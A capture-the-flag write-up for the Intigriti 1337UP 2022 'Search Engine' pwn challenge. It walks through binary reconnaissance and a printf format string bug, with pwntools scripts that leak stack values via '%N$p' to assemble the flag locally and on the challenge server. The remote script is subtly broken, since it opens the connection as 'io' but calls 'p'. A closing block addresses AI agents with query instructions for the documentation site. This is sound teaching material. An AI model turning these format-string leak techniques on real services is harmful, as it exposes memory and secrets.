# Search Engine

<div align="left"><figure><img src="/files/UrRoWqme1d1khQyBFpUw" alt=""><figcaption></figcaption></figure></div>

{% file src="/files/iVPhpcPImQNppyJ8jIjg" %}

## <mark style="color:red;">Basic Executable Reconnaissance</mark>

the executable is not stripped which makes reverse engeneering easier because it doesnt hide function names and the executable is dynamically linked so the libc library which contains many external functions like fprintf() are not loaded within the executable but they dynamically linked at the execution time

<div align="left"><figure><img src="/files/3RB4yghk0dVrsHm0hdby" alt=""><figcaption></figcaption></figure></div>

we have two security configuration enabled.

### <mark style="color:blue;">PIE</mark>

`PIE Position Independent Executable` which means that every time you run the file it gets loaded into a different memory address. This means you cannot hardcode values such as function addresses and gadget locations without finding out where they are. But this does not mean it's impossible to exploit

### <mark style="color:blue;">NX</mark>&#x20;

`No-Execute` also known as `Data Execution Prevention or DEP` marks certain areas of the program as not executable, meaning that stored input or data cannot be executed as code. This is significant because it prevents attackers from being able to jump to custom shellcode that they've stored on the stack or in a global variable.

```
checksec --file=search_engine
```

<div align="left"><figure><img src="/files/PKcnK7Jg50ajTcPT0zFb" alt=""><figcaption></figcaption></figure></div>

when we run the binary it asks to search for something and when i inputed google it reflected it in the last line so it maybe vulnerable to format string vulnerability let's check it using ghidra

<figure><img src="/files/UUp7scbk45gvBmjFGL02" alt=""><figcaption></figcaption></figure>

and it's actually vulnerable to printf format string vulnerability

<div align="left"><figure><img src="/files/DXHG1IYue1g36ZrRpORz" alt=""><figcaption></figcaption></figure></div>

and now let's create a fuzzer script to leak 100 addresses from the stack&#x20;

```python
from pwn import *

# This will automatically get context arch, bits, os etc
elf = context.binary = ELF('./search_engine', checksec=False)

for i in range(100):
    try:
        # Create process (level used to reduce noise)
        p = process(level='error')
        # e.g. %2$s will attempt to print second pointer as string
        p.sendline('%{}$p'.format(i).encode())
        # Receive the response
        result = p.recvuntil(b'No result found. You searched for - ')
        result = p.recv()
        if not 'nil' in result.decode():
            print(str(i) + ': ' + str(result.decode()[2:]))
        
        # Exit the process
        p.close()
    except EOFError:
        pass
```

let's run this script and we can see that 10 to 14 contains ascii values but they are in little endianne so we have to decode them and reverse them

<div align="left"><figure><img src="/files/fHvwKG73M1dmF0Ld7UUv" alt=""><figcaption></figcaption></figure></div>

we will modify the script to fuzz only the values from 10 to 14 and decode, reverse each one of them, then add them together

```python
from pwn import *

# This will automatically get context arch, bits, os etc
elf = context.binary = ELF('./search_engine', checksec=False)

flag = ''

for i in range(10,15):
    try:
        # Create process (level used to reduce noise)
        p = process(level='error')
        # e.g. %2$s will attempt to print second pointer as string
        p.sendline('%{}$p'.format(i).encode())
        # Receive the response
        result = p.recvuntil(b'No result found. You searched for - ')
        result = p.recv()
        if not 'nil' in result.decode():
            # convert from ascii to utf-8 (human readable characters)     
            decoded = unhex(result.strip().decode()[2:])
            #swap the endianness (reverse the decoded string)
            reversed = decoded.decode()[::-1]
            flag += reversed
            

        # Exit the process
        p.close()
    except EOFError:
        pass
# the flag
print(f"flag : {flag}")
```

let's run this script and we have obtained the flag locally

<div align="left"><figure><img src="/files/nbBtGVADdhBVv2Wk4Nbd" alt=""><figcaption></figcaption></figure></div>

to do this remotly change&#x20;

`p = process()` to `p = remote(host, port)`

and also the position of the ascii strings is not the same as the local one try to fuzz 100 addresses you will find that the ascii strings are in the range 12 to 15

so this will be the script for the remote server&#x20;

```python
from pwn import *

# This will automatically get context arch, bits, os etc
elf = context.binary = ELF('./search_engine', checksec=False)

flag = ''

for i in range(12,16):
    try:
        # Connect to server
        io = remote('searchengine.ctf.intigriti.io', 1337, level='warn')
        # e.g. %2$s will attempt to print second pointer as string
        p.sendline('%{}$p'.format(i).encode())
        # Receive the response
        result = p.recvuntil(b'No result found. You searched for - ')
        result = p.recv()
        if not 'nil' in result.decode():
            decoded = unhex(result.strip().decode()[2:])
            reversed = decoded.decode()[::-1]
            flag += reversed
            
        # Exit the process
        p.close()
    except EOFError:
        pass
print(f"flag : {flag}")
```

run this script and u will get the remote flag

Greetings from <mark style="color:blue;">Sayonara</mark>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sayonara.gitbook.io/writeups/ctf/intigriti-1337up-live-ctf-2022/pwn-challenges/search-engine.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
